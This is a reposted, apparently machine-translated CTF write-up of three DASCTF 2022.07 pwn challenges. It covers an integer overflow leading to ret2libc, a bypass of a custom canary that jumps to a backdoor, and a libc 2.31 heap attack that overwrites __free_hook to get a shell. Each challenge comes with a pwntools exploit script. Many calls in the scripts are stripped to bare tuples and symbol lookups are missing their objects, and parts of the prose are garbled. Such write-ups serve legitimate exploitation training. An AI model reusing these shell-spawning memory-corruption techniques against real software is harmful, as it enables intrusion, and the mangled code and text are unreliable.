Location>code7788 >text

DASCTF2022.07 Empowerment Race PWN Part WP

Popularity:193 ℃/2024-08-02 16:59:53

DASCTF2022.07 Empowerment Race PWN Part WP

eyfor

Procedural protection status

64-bit ida reverse

You can see that it's a random number logic, and as long as we don't guess correctly 4 times we can enter the exploit function, but I have a feeling that this could have originally been the == sign to allow the use of random numbers for the

Then we will 4 times not enter a number can enter the loophole function, here pay attention to this a1 is that we enter the loophole function before the value to be entered, you can see in the read when using the un int and judgment of the int, then there is a type of conversion caused by the integer overflow, we can enter a number smaller than 4294967296, so that in the judgment of conversion of the When it is a negative number, and in the input is this big number, so it can cause overflow, and then ret2libc

EXP

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
​
​
io = process('./eyfor')
#io = remote('',26262)
libc = ELF('/lib/x86_64-linux-gnu/.6')
elf = ELF('./eyfor')
('go','a')
('message:','1')
('message:','1')
('message:','1')
('message:','1')
​
('4294967220')
()
#(io)
pop_rdi = 0x0000000000400983 #: pop rdi ; ret
​
​
payload = b'a'*0x38 + p64(pop_rdi) + p64(['puts']) + p64(['puts']) + p64(0x4007B7)
(payload)
('CST\n')
puts_addr = u64((6).ljust(8,b'\x00'))
success('puts_addr---->'+hex(puts_addr))
system = puts_addr - ['puts'] + ['system']
binsh = puts_addr - ['puts'] + next(('/bin/sh'))
​
()
​
payload = b'a'*0x38 + p64(pop_rdi+1) + p64(pop_rdi) + p64(binsh) + p64(system)
(payload)
​
()
​

However, when reproducing it the remote buu platform disabled the data command, causing the program to crash before it even started typing 。。。。。

MyCanary2

Procedural protection status

64-bit ida reverse

At initialization time the program uses a timestamp and a random number to get the seed.

The program doesn't turn on canary protection but simulates a canary-like function where we can view the canary, but after that the canary changes, there's an overflow, but at the end there's a check

So we can look for loopholes

At the end of the checking function found that if the rbp - 4 position is 0 it will jump and not execute the check, then our first step overflow then, in the update of this manual canary bypassing the check, and then exit to execute the backdoor function

And the program has a backdoor function

EXP

from pwn import *
context(log_level= 'debug',arch='amd64',os='linux')
​
io = process('./MyCanary2')
​
('choice','1')
​
payload = b'a'*(0X70-4) + p32(0) + p64(0)  + p64(0X40157B)
('code:')
(io)
(payload)
('choice','2')
('choice','3')
​
()

compat

Procedural protection status

64-bit ida reverse

menu

add function, here when applying for the input tag with 0x80, the result as the next input, we can enter 0xff bypass, resulting in an overflow to save the location of the heap block pointer, and then realize the leakage of the heap address, the same way because the libc is 2.31, apply for 7 heap blocks and then free into the can enter the unsortbin, modify the pointer leak libc address, but be careful, can only apply for 8 heap block

The free function, which zeroes out pointers without free

The freeall function iterates through the just-freed heap block and then frees it in turn, clearing the pointer to zero.

Thoughts:

1. Bypass the with operation by \xff to allow as many bytes as possible to be written, leaking the heap block address

2. Modify the heap block pointer to unsortbin heap block, leak libc address

3. fake heap block to let the pointer modified to the fake_chunk at the modified already free heap block fd pointer bit free_hook, because the contents of the free of this question is to control the pointer priority, resulting in /bin/sh parameter or sh parameter is not good to enter, so simply use one_gadget

EXP

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
​
io = process('./compact')
#io = remote('',27724)
libc = ELF('./libc-2.')
​
​
def add(msg,tag):
    ('choice: ','1')
    ('data: ',msg)
    ('tag: ',tag)
​
​
def show(index):
    ('choice: ','2')
    ('idx: ',str(index))
​
​
def free(index):
    ('choice: ','3')
    ('idx: ',str(index))
            
def freeall():
    ('choice: ','4') 
​
​
​
add('a',b'\xffaaa')
(io)
show(0)
('aaa') 
heap_base = u64((6).ljust(8,b'\x00')) - 0x2c0
success('heap_base--->'+hex(heap_base)) 
​
​
for i in range(7):
    add(p64(0x91)*14,'b')
​
for i in range(7):
    free(7-i)
​
​
free(0)
​
freeall()
payload = b'\xffaaa' + p64(heap_base+0x2c0)[:2]
add('a',payload) #0
show(0)
('data: ')
libc_base = u64((6).ljust(8,b'\x00')) -0x70 - ['__malloc_hook']
success('libc_base---->'+hex(libc_base))
system = libc_base + ['system']
free_hook = libc_base + ['__free_hook']
one = libc_base + 0xe6af1
​
​
add('a',b'\xffaaa\x80') #1
free(1)
freeall()
​
payload = b'a'*0x20 + p64(0) + p64(0x21) +p64(heap_base+0x560) + p64(heap_base +0x10)+ p64(0) + p64(0x91)+ p64(free_hook)
add(payload,'2')
​
add('/bin/sh\x00','\xff'+'sh\x00\x00\x00\x00') #2
​
#(io)
add(p64(one),'\xff'+'sh\x00\x00\x00\x00') #3
​
free(3)
#(io)
freeall()
​
​
​
()
​